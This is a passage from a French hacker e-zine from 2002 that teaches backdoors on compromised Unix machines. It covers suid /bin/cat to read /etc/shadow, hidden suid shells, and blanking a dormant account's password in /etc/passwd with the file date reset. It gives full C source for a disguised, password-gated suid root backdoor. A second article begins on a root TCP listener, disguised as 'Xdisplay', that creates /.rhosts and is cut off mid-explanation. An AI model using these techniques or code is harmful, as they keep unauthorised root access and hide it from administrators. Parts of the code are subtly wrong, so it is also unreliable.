Seulement voila, vu que le /etc/shadow est en mode 400 c'est  dire en lecture pour
le root seul, il ne peut tre affich par un processus utilisateur, normal.

L'excutable /bin/cat appartient au root ...
Admettons qu'avant de partir la premire fois, vous aviez rendu suid /bin/cat,
dans ce cas,  votre retour en simple user, /bin/cat s'excuterait avec les 
privilges root et vous auriez dans ce cas /etc/shadow en lecture !

Voici donc la manoeuvre :



[user@cible.com]$ cat /etc/shadow
/etc/shadow : Permission Denided
[user@cible.com]$ cd
[user@cible.com]$ ./votre_exploit
[root@cible.com]# whoami
root
[root@cible.com]# ls -al /bin/cat
-rwxr-xr-x      1    root         root     12345 01 Oct 11:12 cat
[root@cible.com]# chmod +s /bin/cat
[root@cible.com]# ls -al /bin/cat
-rwsr-sr-x      1    root         root     12345 01 Oct 11:12 cat
[root@cible.com]# exit
[user@cible.com]$ whoami
user
[user@cible.com]$ cat /etc/shadow

root:DLR23dkd3549d3d/dz932:0:0:::
system:*:1:1::::
-
-
-
-

[user@cible.com]$


Voila, si vous avez rendu suid /bin/cat, vous avez donc accs au fichier
/etc/shadow en lecture. Notez que ce truc est aussi valable avec /bin/more
ou encore /bin/grep.



                      .shell suid : Le shell suid est une backdoor des plus simples,
qui permet,  partir d'un compte utilisateur, d'excuter un shell avec les privilges
root. Seulement voila, la notion de suide est curciale pour la suite donc nous reviendrons
plus en dtail dans le second paragraphe. On peut combiner le shell suid avec une modifica-
-tion de /etc/password comme nous le verrons plus tard, ce qui a pour avantage de se
logger en tant qu'user mais d'avoir les privilges root via le shell suid.



                      .setuid backdoor : Il s'agit d'une backdoor programmable. Sa 
conception est simple mais ncessite de connatre les fonctions appropries. 
Cette backdoor ne peut tre utilise que si l'on  le bon mot de passe.
On va consacrer toute la seconde partie  ce type de backdoors.


                      .TCP backdoor : Fallait bien que je trouve un nom  celle-ci !
C'est un type de backdoor qui est bas sur un systme client/serveur et qui ncessite
une bonne connaissance en programmation rseau. Le principe est simple cependant :
Un serveur est lan en root, en arrire plan, et attend la connction sur un port.
A la connection, le serveur excutera soit un shell, soit d'autres actions prdtermines.
Cette sorte de backdoors mriera un article  elle seule ; on aura l'occasion d'y revenir.


Nous venons de voir les principaux types de backdoors. Si ce n'est pas le cas des plus 
simples, en revanche, les backdoors plus volues demandent de matriser certaines notions.
Voici justement quelques notions importantes ...


             
                  2) Les notions cls :
                  _____________________


Nous allons voir deux points importants, la notion de suid et une 
backdoor qui en dcoule, le shell suid.    

[ La notion de SUID ]
         
Sur un systme, de nombreux programmes appartiennent au root mais sont 
senss tre utilisables par de simples users avec les privilges root. 
Un exemple concret, l'excutable "password" qui se situe gnralement dans
/bin. La commande "password" qui invoque cet excutable est utilise par un 
user pour changer le mot de passe presonnel attribu  son compte. Lorsqu'il
l'utilise, il est invit  entrer son ancien mot de passe pour s'authentifier,
puis a entrer le nouveau. Le problme est que cette commande doit apporter 
des modifications dans le fichier de mot de passe qui n'est autre que le 
clbre /etc/passwd ou /etc/shadow le cas chant. Seulement ces fichiers
sont en criture uniquement pour le root et ne peuvent donc pas en thorie
tre modifis par un processus utilisateur.
C'est l qu'intervient la notion de SUID. Le terme "SUID" est la contraction
de "set-uid". Lorsque un excutable est "suid", il peut tre excut par tous, 
avec les privilges (uid) de son propritaire. 
Dans notre exemple, le propritaire de /bin/passwd est le root, uid=0. 
Si ce programme est suid, cela signifie qu'il sera excut avec les 
privilges du propritaire, donc uid=0, ou plus exactement que mme
s'il est lan par un simple utilisateur, le processus aura les privilges
root durant son excution. 

De cette manire, /etc/passwd poura tre modifi par un processus utilisateur. 
Dans la pratique, la notion de suid se matrialise 
par la prsence d'un bit "s" dans le listing des fichiers : 

[user@localhost]$ ls -al /bin/passwd
-rwsr-sr-x   1 root     root      12345  01 Oct 20:32 passwd    
[user@localhost]$

On voit que le bit "s" prend la place du bit "x" d'excution.
Bon, a c'est pour le premier "s", mais alors, pourquoi y en a t-il 2 ?
Eh bien tout simplement parce que le second "s" est le bit "SGID" qui
signifie "Set Group ID" ou "Donne l'ID du groupe". Lorsque ce bit
est prsent, il donne au processus le gid du groupe auquel appartient
le propritaire de l'excutable. Dans notre exemple, le bit sgid est 
prsent donc le processus engendr par l'excution du programme
aura les privilges du groupe root. 

Le fait qu'un utilisateur puisse laner un processus avec les droits
du root n'est pas sans risque. Dans notre exemple, les droits du root
ne seront cds que pendant le laps de temps de l'excution de la 
commande. Mais s'il tait possible de faire excuter  un programme suid
une une autre commande, et cela avec les droits du root ...
Les excutables suid dont on peut abuser sont  l'origine de nombreux exploits.

Imaginez maintenant que l'excutable suid soit un shell, c'est  dire
un interprteur de commandes. Dans ce cas, le shell aurait les privilges
du root durant son excution, c'est  dire que tout les commandes entres
au prompt de ce shell seraient excutes en root ...
C'est une autre forme de backdoor trs simple apelle "shell suid".



[ Le shell suid ]

Comme nous l'avons dit, cette backdoor consiste  rendre un shell
suid et faire en sorte que ce shell soit la propit du root si
ce n'est pas dja le cas. Pour cela, il suffit de copier un shell
( sh, bash, csh, tcsh ... ) dans un dossier et de le rendre suid.
La commande utilis a une syntaxe assez simple. 
Il s'agit de chmod.
Chmod signifie "change mode". C'est la commande
qui va permettre de changer le mode, les permissions de notre shell.
Nous n'allons pas entrer dans les dtails de la commande chmod, mais
on va simplement rapeller sa syntaxe  travers un exemple.
Ici, nous allons crer un shell suid en copiant le shell /bin/sh
dans /bin sous le nom de shell. Notre backdoor sera suid et passera
donc plus inaperue dans la foule d'autres excuatbles suid que dans
/tmp ou autre. Voici comment on va s'y prendre.
 
[root@cible.com]# cp /bin/sh /bin/shell
[root@cible.com]# chmod a+s /bin/shell
[root@cible.com]#

Chmod, apell avec l'argument a+s va rendre suid /bin/shell
pour tout le monde ('a'='all').
Pour enlever le bit suid, la commande aurait t apelle avec "a-s".

L'quivalent en utilsant les chiffres plutt que les symboles
serait :

[root@cible.com]# cp /bin/sh /bin/shell
[root@cible.com]# chmod 7555 /bin/shell
[root@cible.com]#

Cela revient au mme. 
Dans le cas prsent je trouve plus simple la formulation "a+s" 
( qui d'ailleurs peut s'abrger "+s" ). L'avantage d'utiliser 
l'criture chiffre apparait lorsque l'on est ammen  manipuler 
plusieurs modes en mme temps. 
C'est  vous de choisir entre l'une et l'autre criture.

Nous allons donc copier notre shell dans /tmp/shell et le rendre
suid. Voici comment utiliser cette backdoor :

[root@cible.com]# whoami
root
[root@cible.com]# cp /bin/sh /tmp/shell
[root@cible.com]# chmod +s /tmp/shell
[root@cible.com]# exit
[user@cible.com]$ whoami
user
[user@cible.com]$ pwd
/home/user
[user@cible.com]$ ls -al /tmp/shell
-rwsr-sr-x    1 root    root    12345 01 Oct 21:30 shell
[user@cible.com]$ cd /tmp
[user@cible.com]$pwd
/tmp
[user@cible.com]$./shell
[root@cible.com]# whoami
root
[root@cible.com]# 


Une variante :

Parmi les diffrentes sortes de shell existant ( sh, bahs, csh, tchs, ksh )
il se peut que tous ne soient pas disponnible. Dans notre exemple, on va dire
que ksh n'existe pas. Dans ce cas, en tant que root, vous copiez /bin/sh 
sous /bin/ksh et vous le rendez suid.
Puis vous reprez un utilisateur que ne s'est jamais connect ou pas depuis
longtemps, vous ditez le fichier passwd et modifiez la ligne correspondante
au compte de cet utilisateur, vous enlevez son mot de passe et changez son 
shell en /bin/ksh, puis vous changez la date de modification du fichier passwd.
De cette faon, vous pourrez vous connecter sur un shell suid sous
l'identit d'un utilisateur x sans mot de passe.
C'est une utilisation sympathique mais qui risque d'tre vite repree 
si l'admin vrifie mthodiquement les entres du fichier passwd.


Voila, nous avons fait le tour du sujet, vous savez  prsent ce qu'est
un shell suid et comment il s'utilise.
Nous allons par la suite nous intresser  la programmation d'une 
backdoor toujours trs simple, mais qui demande quand mme quelques
conaissances en C. 
Alors me direz vous, pourquoi avoir parl pendant 5Ko de shell suid, vu 
qu'on ne va pas en parler dans le reste de cet article ?
Eh bien tout simplement parceque notre future backdoor devra elle
aussi tre suid pour fonctionner. Donc si vous avez pig la notion 
de SUID grace  l'exemple du shell, alors c'est tout benef pour la suite.



[ UID rel et UID effectif ]

L'uid rel est l'id qui est attribue  l'utilisateur au dbut de la session. 
C'est son identifiant de login. C'est le n d'identification sous lequel le
systme nous connait. Il peut cependant tre modifi, c'est le cas lors de la
commande su. En effet, lorsqu'on fait un "su", on substitue notre id par celui 
d'un autre utilisateur ou par celui du root. Lors d'un su root, notre uid relle 
sera donc celle du root, c'est  dire 0.

L'uid effectif, encore note euid, est l'id que l'on possde temporairement,
dans une situation prcise. C'est l'id qui est effectif  un instant t.
Dans une situation normale, uid et euid, uid rel et effectif, son identiques.
Mais lorsqu'on excute un programme suid, comme /bin/passwd que nous avons vu plus
haut, on endosse l'uid du root, le temps que la commande soit excute.
A cet instant prcis, notre uid rel est toujours la mme mais notre euid est  0.

Pour vous donnner un exemple, compilez ce qui suit :

------------------------8<-------------------------------------------------------------------


#include <stdio.h>
#include <unistd.h>

int main ()
{
  printf("\nUID = %s\t GID = %s\t EUID = %s\n", getuid(), getgid(), geteuid());
  return 0;

}

------------------------8<-------------------------------------------------------------------

( On reviendra dans le prochain chaptre sur les fonctions getuid() ).

En admettant que vous soyez :

user:*:500:20: Vous :/home/user:/bin/sh

Dans ce cas, votre uid est 500 et votre gid est 20.
Vous compilez et excutez le programme d'exemple :

[user@localhost]% gcc exemple.c -o exemple
[user@localhost]% ./exemple

UID = 500      GID = 20     EUID = 500

[user@localhost]%

Vous voyez donc qu' cet instant, votre uid effectif est le mme que votre
uid rel. Maintenant, excutez le en tant que root :

[user@localhost]% su
Password :
[root@localhost]# whoami
root
[root@localhost]# ./exemple

UID = 0       GID = 0       EUID = 0

[root@localhost]#

Le su vient de plaer votre uid/gid  0. On voit, dans ce cas, que
l'uid effectif est le mme que l'uid rel,  savoir 0.


Maintenant, rendez le suid root, et excutez  nouveau en tant que "user" :

[root@localhost]# whoami
root
[root@localhost]#
[root@localhost]# chown root exemple
[root@localhost]# chgrp root exemple
[root@localhost]# chmod +s exemple
[root@localhost]# ls -al exemple
-rwsr-sr-x   1 root      root            12345 14 0ct 12:12 exemple
[root@localhost]# exit      
[user@localhost]% whoami
user
[user@localhost]% ./exemple
 
UID = 500      GID = 20      EUID = 0

[user@localhost]%

Ici, l'euid est  0. En fait, lorsqu'on excute un programme suid, nous
avons les privilges du root le temps de l'excution, et pendant ce laps
de temps, notre euid est  0 tandis que notre uid rel reste inchang.
Notre backdoor devra tre suid root, dans le cas contraire, elle serait mal
installe et ne pourrait pas fonctionner.
Il faut donc contrler qu'elle soit bien suid et nous verrons comment faire
dans la suite.

Voila, on  fait le tour de toutes les notions  connatre et on va pouvoir
entrer dans le vif du sujet.





                       Partie II : Programmation 
                       __________________________


Maintenant que nous savons ce qu'est une backdoor est comment elle
fonctionne, nous allons voir comment en programmer une de notre cru.
On va parler ici de la "setuid" backdoor.
Nous avons donc besoin de quelques notions de programmation pour y 
parvenir. Mais tout dabord, faisont la liste de ce dont nous avons
besoin.

[ Objectifs ]

Nous voulons un programme :

    - qui soit discret ...
    - qui soit suid
    - qui nous donne uid/gid 0
    - qui nous donne un shell 
      avec les privilges root  


OK, le programme n'est pas compliqu mais il requiert certaines
fonctions qu'on ne peut pas inventer ...




                   1) Notions utiles :
                    __________________ 


[ Un uid 0 ]

Nous voulons pouvoir excuter des commandes en tant que root,
et le mieux est de le faire via un shell. Ce shell doit tre
excut avec les privilges root, c'est  dire avec un uid  0.
Il existe en C une fonction qui se charge de changer notre
uid par un autre qu'on lui spcifie. Mais le systme ne
laissera pas un processus utilisateur, en l'occurence notre
backdoor, changer notre uid contre celle du root. Si notre
backdoor est excute avec les droits d'un simple utilisateur,
le changement d'uid ne pourra pas se faire. En revanche, si
notre excutable est suid root, le processus aura les privilges
root durant son excution. Durant ce laps de temps, le changement
d'uid pourra tre demand avec succs. C'est pourquoi notre backdoor
devra tre suid et appartenir au root.
La fonction qui se charge de modifier notre uid  est "setuid();" .



[ setuid(), setgid() ]

La fonction "setuid();" sert  fixer notre uid.
Elle est dcrite dans le header <unistd.h>.
Sa sysntaxe est :

#include <unistd.h>

setuid ( uid_t uid );

Comme le programme sera suid, la fonction sera excute avec les droits
du root et poura donc fixer notre uid  0.
Une fonction analogue est setgid(); laquelle permet de modifier
notre gid. Sa syntaxe est identique.   
Ce sont ces deux fonctions qui permettent de modifier notre uid/gid
en leur substituant ceux du root.

On va donc crire :

setuid(0);
setgid(0);

Une fois nos uid/gid fixs, nous devons excuter un shell.




[ system(); ]

La fonction system(); permet d'excuter une commande de notre
choix. Dans cette situation, notre choix va se porter sur un shell.
On va donc demander  la fonction system de nous excuter le shell bash.
Sa syntaxe est :

#include <stdlib.h>

int system (char *commande);

Nous allons lui demande d'excuter un shell ce qui va donner :

#include <stdilb.h>
#define cmd "/bin/bash"

system(cmd);

Comme les fonctions setuid()/setgid() auront mis notre uid/gid  0
juste avant, notre shell sera excut avec les droits du root.



[ Les arguments ]

Nous voulons un programme qui soit assez discret de manire  ce que l'admin
ne le dcouvre pas. Il doit donc porter un nom crdible, et faire illusion.
On peut lui donner un nom comme "display" ou "findhost" et pourquoi pas
le mettre suid dans /bin ce qui revient  crer un nouvelle commande.
Le mieux est de faire en sorte qu'il ne fournisse un accs root que lorsqu'il 
est apell avec un certain argument. Dans le cas contraire, il devra simuler
un erreur du genre de "Bus error" ou encore "Segmentation Fault".

Il y aura un argument  entrer sur la ligne de commande donc le main doit
tre apell par :

int main ( int argc, char *argv[] )

o argc signifie "argument count", est de type int et dsigne le nombre d'arguments
de la ligne de commande.
Ici, argv[] est un pointeur de type char qui pointe sur un tableau ... de pointeurs.
Il signifie "arguement vector".
Donc, argv[0] dsigne l'excutable en lui-mme, et argv[1], le premier argument.
Comme il n'y aura qu'un argument  entrer, argc=2 car l'argument 0, le programme
est aussi  prendre en compte comme lment de la ligne de commande.

Notre backdoor devra donc contrler le nombre d'arguments :

   
       if (argc!=2){
              fprintf(stderr,"Usage : %s option\n", argv[0]);
              exit(1);
       }

Ce message sera affich si le programmme est lan sans argument, ou avec trop d'arguments,
donc si le nombre d'arguments est diffrent de 2 ( le prog + 1 argu ).
La fonction fprintf(); sert ici  affichier le texte sur la sortie d'erreur ("stderr")
qui est par dfaut l'cran.
 
Une fois le nombre d'arguments control, on doit comparer l'argument dfinit comme
mot de passe avec l'argument entr sur la ligne de commande. S'il s'agit du bon
argument, le programme donnera un shell avec les privilges root, dans le cas contraire,
vous obtiendrez un message d'erreur crdible.


[ strcmp (); ]

La fonction strcmp(); signifie "string compare" et  pour role de comparer 
le contenu de deux varaibles ou de deux chaines de type char.
Cette fonction retourne la valeur 0 lorsque les chanes sont identiques.
Elle est dfinie dans le header <string.h> et sa syntaxe est :

#include <string.h>

char chaine1, chaine2;
strcmp( chaine1, chaine2 );

On va donc pouvoir comparer l'argument fourni  la ligne de commande
argv[1] avec le mot de passe que l'on aura dfini au pralable.

#include <stdio.h>
#include <string.h>
#define password "fox"


   /* Si l'argument est le bon mot de passe */
   if(strcmp(password, argv[1])==0){
         /* alors donne le shell root */
   }
   /* Sinon ... */
   else {
         /* ... erreur */
   fprintf(stderr,"Segmentation Fault\n");
   exit(1);
   }




Dans cet exemple, pour obtenir un shell avec les privilges root,
il faut excuter notre backdoor avec l'argument "fox". Dans le 
cas contraire, on obtient un vrai faux message d'erreur.
En somme, notre programme se fait passer pour un excutable 
tout ce qu'il y a de plus classic mais ne fait office de backdoor
que si vous possdez le bon mot de passe.



[ SUID ]

Nous savons que pour fonctionner, notre backdoor doit tre suid root.
En pratique, cela veut dire que nous pouvons l'excuter avec les
droits du root, et qu' ce moment prcis, notre euid, uid effectif doit
se trouver  0. Si ce n'est pas le cas, cela signifie que notre backdoor
n'est pas suid root et a mal t installe ; ce n'est plus la peine de 
continuer car de toute faon, elle ne pourra pas fournir les services 
attendus. 

[ getuid(), getgid(), geteuid() ]

De la mme manire qu'il existe les fonction setuid() pour plaer notre
uid  la valeur que l'on dsire, il en existe d'autres servant  mesurer
la valeur de notre uid/gid/euid :

getuid() retourne la valeur de notre uid.
getgid () retourne la valeur de notre gid.
geteuid() retourne la valeur de notre euid.

Ces fonctions s'excutent toujours avec succs, et ne commettent jamais
d'erreur. Elles sont dcrites dans le header <unistd.h>.

Pour contrler que notre euid soit bien  0 lors du dbut de l'excution
de notre backdoor, nous allons donc utiliser :

#include <unistd.h>

     if (geteuid()!=0){
            printf("Error\n");
            exit(1);
     }
 
Ainsi, dans le cas o notre programme serait mal install, le programme mettra
fin de lui mme  son excution. Une fois cette vrification effectue, et
si tout s'est bien droul, le programme poursuit normalement.


Voila, on vient de voir les diffrentes tapes de la programmation
de cette backdoor, je vous donne le code source entier juste aprs a :



  

                      2) Installation :
                      _________________

Vous tes root et vous avez la source de votre backdoor. On va donc la 
compiler et rendre suid l'excutable avant de le dissimuler.
J'ai baptis la backdoor "comeback.c" ...


[root@cible.com]# gcc comaback.c -o come
[root@cible.com]# mv come /bin/findhost
[root@cible.com]# chmod +s /bin/findhost
[root@cible.com]# rm comeback.c
[root@cible.com]# ls -al /bin/findhost
-rwsr-sr-x     1 root      root    12345  01 Oct 12:15 findhost
[root@cible.com]# exit
[user@cible.com]$ whoami
user
[user@cible.com]$ findhost
Usage : findhost option
[user@cible.com]$ findhost essai
Segmentation Fault
[user@cible.com]$ findhost fox
Comeback v1.0 by neo_fox [IOC]
[root@cible.com]#


Une installation tout ce qu'il y a de plus simple !




                      3) Comeback.c :
                      _______________


Comme promis voici le code source complet :


-------------8<---  cut here  --------------------------------------------------------------


/* Comeback.c  by NeoFox    -  2002 [IOC] - */


#include <stdio.h> /* printf, fprintf */
#include <string.h> /* strcmp */
#include <unistd.h> /* setuid, setgid */

#define password "fox" /* As you want ... */
#define command  "/bin/sh" /* Our shell */
#define MSG "\033[1;31mComeback v.2 by neofox [IOC]\033[0m\n" 
int main ( int argc, char *argv[] )
{

     / * Only one argument ! */
     if (argc!=2){
        fprintf(stderr,"Usage : %s option\n", argv[0]);
        exit(1);
     }

     /* Checking password ... */
     if (strcmp(password, argv[0])==0){

           /* the backdoor must be suid root */
           if(geteuid()!=0){
                fprintf(stderr,"Comeback is not SUID Root, exit !\n");
                exit(1);
           }

           /* Allright, let's go ! */
           fprintf(stdout,MSG);
           setuid(0);
           setgid(0);
           system(command);

       
     } else {
     /* Sorry ! */
     fprintf(stderr,"Segmentation Fault\n");
     exit(1);
    
     }

     return 0;

}



-------------8<---  cut here  --------------------------------------------------------------



[ Conclusion ]

Voila, en esprant que vous ayez appris quelque chose de ce texte ...
Je vais conclure comme d'habitude en vous disant que si vous avez des questions, 
des suggestions ou des remarques  me faire parvenir, n'hsitez pas  me mailer
ou prenez rendrez-vous avec ma secrtaire !

neo_fox_2001@hotmail.com
UIN #130722451

                                                
                                                       NeoFox 


                                             




















---------------------------------------------------------------------------------------------
VI.          Backdoors & Prog rseau                          par NeoFox          
---------------------------------------------------------------------------------------------




[ Introduction ]

Bien que la technique soit connue, j'avoue ne jamais avoir trouv de textes 
expliquant cette dernire en dtail. Je vous propose donc un tutorial sur 
l'utilisation de la programmation "rseau" dans le but de grader l'accs  
un systme. En d'autres termes, on va parler de backdoors bases sur le 
principe client/serveur, et nous allons voir galement comment les mettre 
en oeuvre. Cela requiet dja certaines comptences, aussi j'attends de vous 
d'avoir quelques connaissances en Prog C, Unix et TCP/IP. On va commener 
par voir dans un premier temps le principe de cette backdoor puis comment 
la programmer, fallait s'y attendre. 

Bonne lecture et rendez-vous dans 25 Ko !





                              
                           - | Part I : Principe | -

                                   -> fonctionnement
                                   -> Utilisation







        A. Vous avez dit Backdoor ? (bis) :
        ___________________________________


Pourquoi se compliquer la vie avec une backdoor client/serveur alors que l'on peut
se contenter d'un shell suid ou d'une setsuid backdoor ? Eh bien je pense que si
vous lisez ceci, c'est que comme moi vous prfrez la difficult  la simplicit 
non ? 
                 


[ Oups ... ]

On est venu, on a vu, on a vaincu ( quoi que ... ), pis on est reparti.
Au passage, on a pla deux ou trois backdoors : un shell suid et une setuid 
backdoor. L'admin  dcouvert notre prsence sur sa machine et  patch la faille
qui nous a laiss entrer, il a aussi chang tous les mots de passe, et il
s'est rendu compte que /bin/findhost ... ben, a existe pas et  donc vir notre
setuid, pis dans la foule, le shell suid planqu dans un .term d'un homedir.
En rsum, vous n'avez plus l'accs root, et d'ailleurs, cela ne vous servierait  rien
vu que vous n'avez mme plus d'accs du tout !
Plus d'accs ni par telnet car les pass on t changs, ni par rlogin car
il n'y a plus de fichiers .rhosts nulle part. C'est dans un cas comme a qu'on voit
l'utilite d'une backdoor sous forme d'un serveur, qui, lan en root, en local, sur la
cible, excuterait pour nous des commandes de niveau root lorsqu'il serait activ
 distance. Ce serveur vous permettrait de retrouver directement un accs root mme 
si on vous a repris votre account sur la machine.


[ Allo, j'coute ?! ]

Jusqu'ici j'ai parl d'une backdoor base sur un principe de client/serveur, mais 
toute la backdoor n'est enfait constitue que d'un serveur dont le rle sera d'excuter
certaines commandes lorsqu'une connection aura lieu sur un port donn.
Notre serveur doit donc ouvrir un port, puis couter ce port, et attendre qu'une 
connection soit tablie dessus. A partir de l, le serveur se contente d'excuter 
une commande particulire et mets fin  la connection. Dans la suite de cet article, 
on va apprendre  programmer un mini serveur qui ouvrira un port et excutera une 
commande en remote lorsqu'une demande de connection y arrivera.


[ Et le client dans tout a ? ]

Si on sait ce qu'il en est du serveur, en revanche, on a pas encore parl du client.
De deux choses l'une : vous pouvez coder un petit programme qui se connecte au port
de la machine sur lequel le serveur est en coute, mais dans notre cas, on peut tout
aussi bien utiliser Telnet. En admettant que le serveur coute le port 1407, 
un petit :

% telnet host.cible.com 1407

suffierait  faire excuter notre commande au serveur, aprs quoi, ce dernier met
fin  la session et continue  couter le port dans l'attente d'une autre
connection.



[ Les comandes ]

Quelles sont les commandes que l'on peut faire excuter  notre serveur ?
Tout dpend de ce que vous voulez faire. Vous pouvez crer un nouvel 
utilisateur avec un uid/gid  0 mais le mieux, pour une question de 
discrtion est de crer un /.rhosts.



[ Vrifications ]

Avant de commener il faudra contrler que le programme soit apell sans argument
et qu'il est soit excut par le root, ou dumoins qu'il soit suid root.
On vrifiera donc en premier lieu qu'il n'y a pas d'arguement.
On vrifiera ensuite qu'on ait bien les privilges root au moment o notre excutable
sera lan. A ce moment l, notre id effective devra tre  0. En effet, un /.rhosts ne
pourra pas tre cre par un processus utilisateur mais seulement par un processus root,
d'o l'intret que le serveur soit "lan en root".
Pour plus d'explications sur les uid effectives et relles, reportez vous  mon article 
"Backdoors, concept & ralisation" .



[ Backserv ]

Pour illustrer mes propos, je vais m'appuyer sur un code source que j'ai apell
"backserv.c". Pourquoi backserv ? eh bien parcequ'il s'agit d'une backdoor sous
forme de serveur, tout simplement.




              B. L'utilisation :
              __________________


                    
[ Installation ]      

Le but du jeu, lorsqu'on a le root, est d'installer sa backdoor le plus discrtement
possible. On complie la backdoor, on vire le source et on plae l'excutable dans un
rpertoire peu frquent, genre /dev ou autre,  partir de la, on la lane en arrire
plan, puis on peut se casser. Vu qu'il a t lan en root, on pourra lui faire excuter
en remote des commandes de niveau root. Il faut auparavant regarder la liste des processus
qui tournent en arrire plan afin de donner un nom crdible  notre excutable. 
Ici on va prendre "Xdisplay".
Voici comment proceder :


[root@cible.com]# whoami
root
[root@cible.com]# pwd
/dev/xdb57
[root@cible.com]# ls 
backserv.c
[root@cible.com]# ps aux                       <- "ps -aux" trs simplifi
USER      PID     COMMAND                         
root      1       init
nobody    250     identd
root      4230     bash
[root@cible.com]# gcc backserv.c -o Xdisplay
[root@cible.com]# chmod 655 Xdisplay
[root@cible.com]# ls -al
-rwxr-xr-x     1 root     root        12345 12 Oct 12:12 Xdisplay
-rw-rw-rw-     1 root     root        12345 12 Oct 12:02 backserv.c
[root@cible.com]# ./Xdsiplay&                            
[1] 4236
[root@cible.com]# ps aux                                 
USER      PID     COMMAND                                
root      1       init
nobody    250     identd
root      4230    bash
root      4236    Xdisplay                      <- On voit le processus de  notre backdoor
[root@cible.com]# rm -f backserv.c              
[root@cible.com]# exit                             
[user@cible.com]% exit                          <- On vire le source et on se casse


Voila, notre serveur est install, et lan en root. 
A partir de ce moment l, un port est ouvert sur la machine cible et
le serveur coute ce port. Lorsqu'une connection arrivera sur ce port,
le serveur excutera ses instructions avec les privilges root.


[ Utilisation ]

Nous avons install notre backdoor, en coute au port 1407.
L'avantage de cette forme de backdoor est qu'elle peut tre
active soit en local, soit  distance.
Pour activer notre engin, jusque l en standby, il nous faut
nous connecter au port 1407. Dans cet exemple, on va le dclancher 
en remote en utilisant Telnet :

[nous@localhost]% telnet cible.com 1407
Trying  123.25.6.25
Connected to cible.com
Escape character is '^]'.
-------------------------
-  2002 IOC -
Creating /.rhosts ...
OK, exiting !
-------------------------
Connection closed by foreing host
[nous@localhost]%

Voila, un petit message d'acceuil nous informe que la connection
est tablie avec notre serveur et que le fichier .rhosts est
cre, puis la connection est interrompue.
L'utilisation est simple et efficace.


[ Resum ]

Avant de passer  l'aspect programmation, on va rcapituler.
Il nous faut un serveur lan en root qui :

        
        - ouvre un port
        - attend une connection
        - accepte la connection
        - nous fait livrer une pizza
        - excute notre commande
        - met fin  la connection


Soit autant de fonctions  utiliser ...
On va voir tout a en dtail dans un instant.

















                             - | Part II : Programmation | -

                                   -> Notions ncessaires
                                   -> Prog. pas  pas
                                   -> backserv.c


L o je vais m'efforcer d'expliquer chaque petite subtilit de la manoeuvre,
d'autres se seraient contents de dcrire grossirement un code, question de
point de vue ...









                  A. Notions ncessaires :
                  ________________________


On va parler maintenant des bases de programmation ncessaires  la conception
de notre outil, et on va pour ce faire, dresser la liste des fonctions que nous 
allons utiliser en fonctions justement de ce que nous attendons de notre backdoor.
Le mieux dans notre cas est d'examiner les diffrentes fonctions dans l'ordre dans
lequel elles vont intervenir.



[ En cas d'erreur ]

Dans un souci de prsentation, on va grer les erreurs ventuelles de chaque fonction
en mme temps que les fonctions elles mmes. La fonction perror() va nous aider.
Sa syntaxe est :

#include <errno.h>
perror( char *message);

Cette fonction permet en cas d'erreur d'afficher un message personnalis.





[ geteuid() ]

Les commandes qui sont destines  tre excutes par la backdoor doivent l'tre
en tant que root. Le systme ne laissera pas un processus utilisateur crer un 
/.rhosts, et c'est donc en tant que root que nous devrons laner notre backdoor.
Je me rpete l non ? Toujours est il qu'il faudra donc l'avoir bien install. 
Tout cela pour vous dire qu'au moment prcis de son excution, notre id effective 
ou euid devra tre  0. La fonction geteuid() permet de saisir cette valeur afin
de la controler :

#include <unistd.h>
geteuid( uid_t uid );

En pratique, on obtiendra :

#include <unistd.h>
/* Si t'es pas root, tu dgage !*/
if (geteuid()!=0){
    fprintf(stderr,"Only root can run this !\n");
    exit(1);
}

Si notre id effective n'est pas 0, le serveur ne sera pas autoriser  crer un /.rhosts
et ce n'est mme pas la peine d'aller plus loin, donc exit.
Ces quelques lignes permettent donc de vrifier que l'on soit bien root au moment 
de la laner.




[ Le vif du sujet : socket() ]

Les sockets permettent  deux processus situ sur deux machines distantes de communiquer.
Ils dfinissent quels protocoles doivent entrer en jeu et cela en fonction du type de rseau
sur lequels on se trouve. Sur un rseau qui exploite TCP/IP, les protocoles qui vont entrer 
en action sont IP et TCP ou UDP.
La fonction socket() a pour rle de crer le socket en spcifiant les protocoles utiliss.
Sa syntaxe est :

#include <sys/types.h>
#include <sys/socket.h>

socket( int family, int type, int x);

Le paramtre family :
Il prend la valeur AF_INET lorsque on utilise le portocole Internet.

Le paramtre type prend la valeur :

SOCK_STREAM lorsque l'on va communiquer sous TCP.
SOCK_DGRAM lorsque c'est UDP qui prend en charge la transmission.
SOCK_RAW lorsqu'on forge soi mme ses propres paquets.

Dans notre cas, nous allons communiquer sous TCP et la valeur du paramtre type sera
par consquent SOCK_STREAM.

Enfin, le paramtre x correspond  un protocole additionnel, dont je sais peu de choses 
sinon que sa valeur est gnralement de 0.

le socket est donc dfini par :

#include <sys/socket.h>
#include <sys/types.h>

int sock;
sock=socket( AF_INET, SOCK_STREAM, 0);

Si la cration du socket s'est droule sans problmes, la valeur 0 est retourne.
Dans le cas contraire, si une erreur survient, on obtient le code -1.
Voici comment grer le code d'erreur tout en crant le socket :

#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>

int sock;
if ((sock=socket( AF_INET, SOCK_STREAM, 0))==-1){
          perror("socket");
          exit(-1);
}


Si la valeur de l'identifiant "sock" du socket est de -1, l'erreur est traite
par perror, dans le cas contraire, donc tout s'est bien droul et le socket est cre.













[ bind() ]

La fonction bind sert  dfinir la manire dont devra tre accepte la connection.
Elle dsigne le socket  utiliser, le numro de port  ouvrir et les adresses d'ou
peuvent tre acceptes les connections. Pour cela, la fonction bind prend pour
argument le socket, une structure de type "sockaddr_in" et la longueur de cette
structure. Les headers  inclure sont <sys/socket.h> et <sys/types.h>.
Le synopsis de cette fonction est :


#include <sys/types.h>
#include <sys/socket.h>

int sock;
struct sockaddr_in strucutre;
bind (sock, (sockaddr_in *)&structure, sizeof(structure));

En cas d'erreur bind() retourne -1.








[ La strucutre locale ]

La structure utilise par bind() renseigne sur l'htre local, en l'occurence
notre cible, la machine sur laquelle nous allons installer la backdoor.

Cette structure comporte plusieurs champs qu'il nous faut renseigner :

            => le champ sin_family qui disgne la famille de protocoles a  utiliser.
            => le champ sin_port qui dsigne le port  ouvrir et couter.
            => le champ sin_addr.s_addr qui dsingne la machine qui aura droit de
               se connecter  ce port.

Pour remplir un champ de la structure 'structure' on procde comme suit :

             structure.nom_du_champ = valeur

Comme notre structure est relative  l'hte local, on va l'apeller 'local' ce
qui va donner les champs suivants :

              local.sin_family
              local.sin_port
              local.sin_addr.s_addr


Avant de remplir notre structure, il faut au pralable initialiser les champs  0.
